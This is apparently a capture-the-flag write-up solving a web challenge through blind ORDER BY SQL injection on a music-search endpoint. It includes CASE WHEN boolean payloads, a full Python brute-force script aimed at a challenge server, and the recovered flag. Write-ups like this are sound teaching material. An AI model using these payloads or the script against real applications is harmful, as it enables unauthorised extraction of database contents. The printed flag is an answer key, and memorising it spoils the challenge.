Web 456 pts 3 solves

Newbie

faizath Write-up byfaizath
“i'm learning to make a site.. not a lot of features but can you check if it's secure?” — a music search site with a blind SQL injection in /songs.

Attachments

Newbie challenge card

Overview

We are given a music-search website. The /songs endpoint takes a title parameter that is injected directly into an SQL ORDER BY clause, giving us an ORDER BY SQL injection. A simple probe confirms it:

Command: ' ORDER BY title ASC--

Burp: ORDER BY title ASC injection returns a valid ordering

Analysis

We suspected the flag lives in a flag table under a value column. Because the response only returns the ordered list of songs (there is no direct output of injected data), we need a blind technique. The trick is to turn the sort order itself into a boolean oracle using a CASE WHEN expression: order by title when a guessed character is correct, and by album otherwise. Comparing the returned ordering against the known baseline ordering tells us whether the guess was right.

Correct guess (orders by title, matching the baseline):

' ORDER BY CASE WHEN (SELECT substr(value, 1, 1) FROM flag LIMIT 1) = 'C' THEN title ELSE album END ASC--

Burp: a correct character keeps the title ordering

Wrong guess (orders by album, different ordering):

' ORDER BY CASE WHEN (SELECT substr(value, 1, 1) FROM flag LIMIT 1) = 'B' THEN title ELSE album END ASC--

Burp: a wrong character switches to album ordering

Exploitation

We brute-force the flag character by character, comparing each response's ordering against the baseline ORDER BY title ASC ordering:

import requests

class SQLInject:
    def __init__(self, url):
        self.characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}'
        self.url = url
        self.original_order = requests.get(
            url, params={'title': "' ORDER BY title ASC--"}
        ).json()["songs"]

    def check(self, checkchar, flagindex):
        order_check = requests.get(self.url, params={
            'title': f"' ORDER BY CASE WHEN (SELECT substr(value, {flagindex}, 1) "
                     f"FROM flag LIMIT 1) = '{checkchar}' THEN title ELSE album END ASC--"
        })
        if order_check.status_code == 200:
            if self.original_order == order_check.json()['songs']:
                return True
        return False

    def bruteforce(self):
        for i in range(1, 50, 1):
            for char in self.characters:
                if self.check(char, i):
                    print(char, end="")
                    break

if __name__ == "__main__":
    newbie = SQLInject('http://20.198.224.34:8901/songs')
    newbie.bruteforce()

Running the brute-forcer leaks the flag one character at a time.

Flag

CTFITB{t0rtur3D_p03TS_d3p4rtMenT_96e63b02}